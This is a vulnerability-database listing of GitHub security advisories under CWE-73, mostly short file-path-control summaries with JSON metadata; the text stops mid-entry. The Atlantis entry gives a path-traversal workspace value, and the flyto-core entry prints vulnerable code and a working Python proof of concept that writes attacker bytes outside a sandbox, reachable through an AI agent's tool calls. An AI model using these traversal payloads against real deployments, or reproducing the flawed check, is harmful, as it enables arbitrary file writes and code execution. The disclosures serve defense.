CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1087 vulnerabilities reference this CWE, most recent first.
GHSA-2566-FQ23-672G
Vulnerability from github – Published: 2024-01-10 18:30 – Updated: 2025-11-04 21:31An information disclosure vulnerability exists in the image404Raw.php functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.
{
"affected": [],
"aliases": [
"CVE-2023-49738"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T16:15:48Z",
"severity": "HIGH"
},
"details": "An information disclosure vulnerability exists in the image404Raw.php functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.",
"id": "GHSA-2566-fq23-672g",
"modified": "2025-11-04T21:31:01Z",
"published": "2024-01-10T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49738"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1881"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1881"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25GV-RXP9-H9PC
Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31An authenticated local file inclusion vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The play_file functionality accepts user-controlled input through the sound_path parameter and fails to properly validate file paths before accessing the underlying filesystem. By supplying absolute paths, an authenticated attacker can retrieve files outside the intended directory scope.
{
"affected": [],
"aliases": [
"CVE-2026-9587"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T17:17:18Z",
"severity": "HIGH"
},
"details": "An authenticated local file inclusion vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The play_file functionality accepts user-controlled input through the sound_path parameter and fails to properly validate file paths before accessing the underlying filesystem. By supplying absolute paths, an authenticated attacker can retrieve files outside the intended directory scope.",
"id": "GHSA-25gv-rxp9-h9pc",
"modified": "2026-07-17T18:31:27Z",
"published": "2026-07-17T18:31:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sangoma/security-switchvox/security/advisories/GHSA-mhp4-x83p-phh2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9587"
},
{
"type": "WEB",
"url": "https://labs.sra.io/posts/switchvox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-26C4-7VV6-867J
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-08-07 20:28Keras versions up to and including 3.13.2 are vulnerable to an arbitrary HDF5 file read due to an incomplete fix for CVE-2026-1669. The vulnerability resides in the H5IOStore._verify_dataset() and file_editor.py methods, which fail to check the dataset.is_virtual property of HDF5 datasets. This allows an attacker to craft a malicious .keras model archive or .h5 weights file containing a Virtual Dataset (VDS) that references external HDF5 files on the victim's filesystem. When the victim loads the model using keras.models.load_model() or keras.saving.load_model(), the external file is transparently read, leading to potential information disclosure. Fixed in versions 3.12.3 and 3.15.0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.13.0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12480"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T20:28:58Z",
"nvd_published_at": "2026-07-01T17:16:19Z",
"severity": "MODERATE"
},
"details": "Keras versions up to and including 3.13.2 are vulnerable to an arbitrary HDF5 file read due to an incomplete fix for CVE-2026-1669. The vulnerability resides in the `H5IOStore._verify_dataset()` and `file_editor.py` methods, which fail to check the `dataset.is_virtual` property of HDF5 datasets. This allows an attacker to craft a malicious `.keras` model archive or `.h5` weights file containing a Virtual Dataset (VDS) that references external HDF5 files on the victim\u0027s filesystem. When the victim loads the model using `keras.models.load_model()` or `keras.saving.load_model()`, the external file is transparently read, leading to potential information disclosure. Fixed in versions 3.12.3 and 3.15.0.",
"id": "GHSA-26c4-7vv6-867j",
"modified": "2026-08-07T20:28:58Z",
"published": "2026-07-01T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12480"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/8f987f11bf7512f0df4774a8f1557bba07dc2b49"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/d5a88bdb137c0d3039b8f4bbbe8c7099925cc10c"
},
{
"type": "PACKAGE",
"url": "https://github.com/keras-team/keras"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/releases/tag/v3.12.3"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/releases/tag/v3.15.0"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/1875d257-5b03-4a69-ac70-e98653fa12c7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keras: HDF5 virtual datasets can disclose local files"
}
GHSA-26MM-MG9C-FJP5
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31Arbitrary file overwrite via SAVE_PROFILE message in OpenRGB. This issue affects OpenRGB through 1.0rc3.
{
"affected": [],
"aliases": [
"CVE-2026-59682"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T10:16:40Z",
"severity": "HIGH"
},
"details": "Arbitrary file overwrite via SAVE_PROFILE message in OpenRGB.\u00a0This issue affects OpenRGB through 1.0rc3.",
"id": "GHSA-26mm-mg9c-fjp5",
"modified": "2026-09-01T21:31:25Z",
"published": "2026-09-01T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59682"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1274000"
},
{
"type": "WEB",
"url": "https://gitlab.com/CalcProgrammer1/OpenRGB/-/commit/d2dd9dcc7369e78f47d01ace19af3750cd89ae66"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-26QV-P8CR-JXP5
Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-10-22 00:33External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2025-33053"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T17:22:18Z",
"severity": "HIGH"
},
"details": "External control of file name or path in WebDAV allows an unauthorized attacker to execute code over a network.",
"id": "GHSA-26qv-p8cr-jxp5",
"modified": "2025-10-22T00:33:18Z",
"published": "2025-06-10T18:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33053"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33053"
},
{
"type": "WEB",
"url": "https://research.checkpoint.com/2025/stealth-falcon-zero-day"
},
{
"type": "WEB",
"url": "https://therecord.media/microsoft-cisa-zero-day-turkish-defense-org"
},
{
"type": "WEB",
"url": "https://www.bleepingcomputer.com/news/security/stealth-falcon-hackers-exploited-windows-webdav-zero-day-to-drop-malware"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33053"
},
{
"type": "WEB",
"url": "https://www.darkreading.com/vulnerabilities-threats/stealth-falcon-apt-exploits-microsoft-rce-zero-day-mideast"
},
{
"type": "WEB",
"url": "https://www.theregister.com/2025/06/10/microsoft_patch_tuesday_june"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-33053-detection-script-remote-code-execution-vulnerability-in-microsoft-webdav"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-33053-mitigation-script-remote-code-execution-vulnerability-in-microsoft-webdav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-26W5-6G95-GJ28
Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-21 20:55Summary
Atlantis versions >= 0.19.8 and < 0.45.0 did not consistently validate user-controlled workspace values before using them to construct local workspace paths.
A crafted workspace value containing path traversal segments could cause Atlantis to resolve workspace paths outside the intended per-pull workspace directory. In vulnerable versions or code paths, Atlantis could create, use, or remove/recreate out-of-bounds directories with the privileges of the Atlantis process user, before Terraform rejected the invalid workspace name.
The issue is fixed in Atlantis 0.45.0.
Details
The issue is a path traversal vulnerability in Atlantis workspace handling. workspace values can be supplied through repository-level atlantis.yaml configuration accepted by the server or through authenticated API input. A value such as ../../../../../../../../tmp/f1-canary could escape the intended Atlantis workspace root.
In affected code paths, Atlantis used the resolved workspace path for local working-directory operations. For example, workspace values were joined into repo pull paths, and clone preparation paths could call directory removal/recreation operations such as os.RemoveAll and os.MkdirAll on the resolved directory.
PoC
In a local PoC using repo-level atlantis.yaml, the following workspace value caused Atlantis to resolve and use /tmp/f1-canary outside ~/.atlantis/repos/...:
version: 3
projects:
- dir: .
workspace: ../../../../../../../../tmp/f1-canary
Atlantis logs showed the out-of-bounds directory being created and Terraform being run with /tmp/f1-canary as the working directory. Terraform rejected the workspace name only after Atlantis had already used the out-of-bounds path.
Impact
A user who can cause Atlantis to process a crafted workspace value, for example through repository-level atlantis.yaml configuration accepted by the server or an authenticated /api/plan request, may cause filesystem operations to occur outside the intended workspace boundary.
Depending on the affected version, code path, deployment configuration, and filesystem permissions, this may result in unintended directory creation, deletion, or reuse, integrity impact to writable local paths, or denial of service. Containerized deployments may limit host impact, but writable mounted volumes and persistent Atlantis data paths remain relevant.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/runatlantis/atlantis"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.8"
},
{
"fixed": "0.45.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-64679"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:55:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAtlantis versions `\u003e= 0.19.8` and `\u003c 0.45.0` did not consistently validate user-controlled `workspace` values before using them to construct local workspace paths.\n\nA crafted workspace value containing path traversal segments could cause Atlantis to resolve workspace paths outside the intended per-pull workspace directory. In vulnerable versions or code paths, Atlantis could create, use, or remove/recreate out-of-bounds directories with the privileges of the Atlantis process user, before Terraform rejected the invalid workspace name.\n\nThe issue is fixed in Atlantis `0.45.0`.\n\n### Details\nThe issue is a path traversal vulnerability in Atlantis workspace handling. `workspace` values can be supplied through repository-level `atlantis.yaml` configuration accepted by the server or through authenticated API input. A value such as `../../../../../../../../tmp/f1-canary` could escape the intended Atlantis workspace root.\n\nIn affected code paths, Atlantis used the resolved workspace path for local working-directory operations. For example, workspace values were joined into repo pull paths, and clone preparation paths could call directory removal/recreation operations such as `os.RemoveAll` and `os.MkdirAll` on the resolved directory.\n\n### PoC\nIn a local PoC using repo-level `atlantis.yaml`, the following workspace value caused Atlantis to resolve and use `/tmp/f1-canary` outside `~/.atlantis/repos/...`:\n\n```yaml\nversion: 3\nprojects:\n - dir: .\n workspace: ../../../../../../../../tmp/f1-canary\n```\n\nAtlantis logs showed the out-of-bounds directory being created and Terraform being run with `/tmp/f1-canary` as the working directory. Terraform rejected the workspace name only after Atlantis had already used the out-of-bounds path.\n\n### Impact\nA user who can cause Atlantis to process a crafted `workspace` value, for example through repository-level `atlantis.yaml` configuration accepted by the server or an authenticated `/api/plan` request, may cause filesystem operations to occur outside the intended workspace boundary.\n\nDepending on the affected version, code path, deployment configuration, and filesystem permissions, this may result in unintended directory creation, deletion, or reuse, integrity impact to writable local paths, or denial of service. Containerized deployments may limit host impact, but writable mounted volumes and persistent Atlantis data paths remain relevant.",
"id": "GHSA-26w5-6g95-gj28",
"modified": "2026-08-21T20:55:33Z",
"published": "2026-08-21T20:55:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/security/advisories/GHSA-26w5-6g95-gj28"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/pull/6254"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/commit/ea4e4ceebf8b387d015fff7ed8a7fcca33279afe"
},
{
"type": "PACKAGE",
"url": "https://github.com/runatlantis/atlantis"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/releases/tag/v0.45.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Atlantis Workspace Handling has Path Traversal that Allows Out-of-Bounds Directory Deletion/Creation"
}
GHSA-276G-H5JG-VH27
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31A security flaw has been discovered in Campcodes Recruitment Management System 1.0. This impacts the function include of the file /admin/index.php. The manipulation of the argument page results in file inclusion. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-9920"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-03T16:15:43Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in Campcodes Recruitment Management System 1.0. This impacts the function include of the file /admin/index.php. The manipulation of the argument page results in file inclusion. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.",
"id": "GHSA-276g-h5jg-vh27",
"modified": "2025-09-09T18:31:12Z",
"published": "2025-09-09T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9920"
},
{
"type": "WEB",
"url": "https://github.com/chenjunjie3/cve/issues/7"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322321"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322321"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.642407"
},
{
"type": "WEB",
"url": "https://www.campcodes.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2844-P28C-WCJ6
Vulnerability from github – Published: 2026-07-03 03:34 – Updated: 2026-07-03 03:34External Control of File Name or Path vulnerability in ASUS Business Manager allows a local user to execute arbitrary code with SYSTEM privileges via a tampered IPC message. Refer to the ' Security Update for ASUS Business Manager ' section on the ASUS Security Advisory for more information.
{
"affected": [],
"aliases": [
"CVE-2026-8921"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T03:16:23Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path vulnerability in ASUS Business Manager allows a local user to execute arbitrary code with SYSTEM privileges via a tampered IPC message.\nRefer to the \u0027\nSecurity Update for ASUS Business Manager\u00a0\u0027 section on the ASUS Security Advisory for more information.",
"id": "GHSA-2844-p28c-wcj6",
"modified": "2026-07-03T03:34:13Z",
"published": "2026-07-03T03:34:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8921"
},
{
"type": "WEB",
"url": "https://www.asus.com/security-advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-285C-CC6Q-HWFF
Vulnerability from github – Published: 2026-07-15 03:32 – Updated: 2026-07-15 03:32Improper Restriction of Communication Channel to Intended Endpoints and External Control of File Name or Path in Aura Wallpaper Service allow a local user to perform file operations by sending crafted commands containing an arbitrary file path and bypassing the service’s path restrictions . On specific models , this can also cause a single feature to become unavailable . Refer to the ' Security Update for Aura Wallpaper Service ' section on the ASUS Security Advisory for more information.
{
"affected": [],
"aliases": [
"CVE-2026-8920"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-15T02:22:57Z",
"severity": "HIGH"
},
"details": "Improper Restriction of Communication Channel to Intended Endpoints and External Control of File Name or Path in Aura Wallpaper Service allow a local user to perform file operations by sending crafted commands containing an arbitrary file path and bypassing the service\u2019s path restrictions . On specific models , this can also cause a single feature to become unavailable .\nRefer to the \u0027\u00a0Security Update for Aura Wallpaper Service\u00a0\u0027 section on the ASUS Security Advisory for more information.",
"id": "GHSA-285c-cc6q-hwff",
"modified": "2026-07-15T03:32:51Z",
"published": "2026-07-15T03:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8920"
},
{
"type": "WEB",
"url": "https://www.asus.com/security-advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2956-977X-2W3R
Vulnerability from github – Published: 2026-07-30 14:46 – Updated: 2026-07-30 14:46Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67429"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:46:43Z",
"nvd_published_at": "2026-07-29T19:16:52Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.\n\n## Affected code\n\n`src/core/modules/atomic/image/download.py`:\n\n```python\noutput_path = params.get(\u0027output_path\u0027)\noutput_dir = params.get(\u0027output_dir\u0027, \u0027/tmp\u0027) # caller-controlled base\n...\nbase_real = os.path.realpath(output_dir)\ntarget_real = os.path.realpath(output_path)\nif os.path.commonpath([base_real, target_real]) != base_real:\n raise Exception(\u0027Invalid file path\u0027) # base is attacker-chosen, so always passes\n...\ncontent = await response.read() # attacker-hosted bytes\nwith open(target_real, \u0027wb\u0027) as f:\n f.write(content)\n```\n\n`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir=\u0027/\u0027` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.\n\nThis is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.\n\n## Reproduction\n\nSave as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\" # let the content host pass the SSRF check\nEVIL = b\"#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\"\n\nclass Content(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)\n def log_message(self, *a): pass\n\nasync def run(mid, params):\n from core.modules.registry import ModuleRegistry\n try:\n return (\"RESULT\", await ModuleRegistry.execute(mid, params=params, context={}))\n except Exception as e:\n return (\"EXC\", f\"{type(e).__name__}: {e}\")\n\nasync def main():\n from core.modules.atomic import register_all\n register_all()\n threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Content).serve_forever, daemon=True).start()\n root = tempfile.mkdtemp(prefix=\"flyto_poc_\")\n sandbox = os.path.join(root, \"sandbox\"); os.makedirs(sandbox)\n escape = os.path.join(root, \"ESCAPE\"); os.makedirs(escape)\n os.environ[\"FLYTO_SANDBOX_DIR\"] = sandbox\n target = os.path.join(escape, \"pwned\") # OUTSIDE the sandbox\n print(\"A) file.write:\", await run(\"file.write\", {\"path\": target, \"content\": \"x\"}))\n print(\"B) image.download:\", await run(\"image.download\", {\n \"url\": \"http://localhost:8080/x.jpg\", \"output_dir\": escape, \"output_path\": target}))\n print(\"file written outside sandbox?\", os.path.exists(target))\n if os.path.exists(target):\n print(\"content:\", open(target, \"rb\").read())\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nOutput:\n\n```\nA) file.write: (\u0027EXC\u0027, \u0027ModuleError: [PATH_TRAVERSAL] Path escapes base directory: \u003croot\u003e/ESCAPE/pwned ...\u0027)\nB) image.download: (\u0027RESULT\u0027, {\u0027ok\u0027: True, \u0027path\u0027: \u0027\u003croot\u003e/ESCAPE/pwned\u0027, \u0027size\u0027: 79, ...})\nfile written outside sandbox? True\ncontent: b\u0027#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\u0027\n```\n\n`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.\n\n## Reachability (why this is not operator self-service)\n\n`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model\u0027s `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.\n\n## Impact\n\nWrite arbitrary content to an arbitrary path outside the operator\u0027s sandbox \u2014 overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).\n\n## Suggested fix\n\nUse `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.",
"id": "GHSA-2956-977x-2w3r",
"modified": "2026-07-30T14:46:43Z",
"published": "2026-07-30T14:46:43Z",
"references": [
{
"type": "WEB",
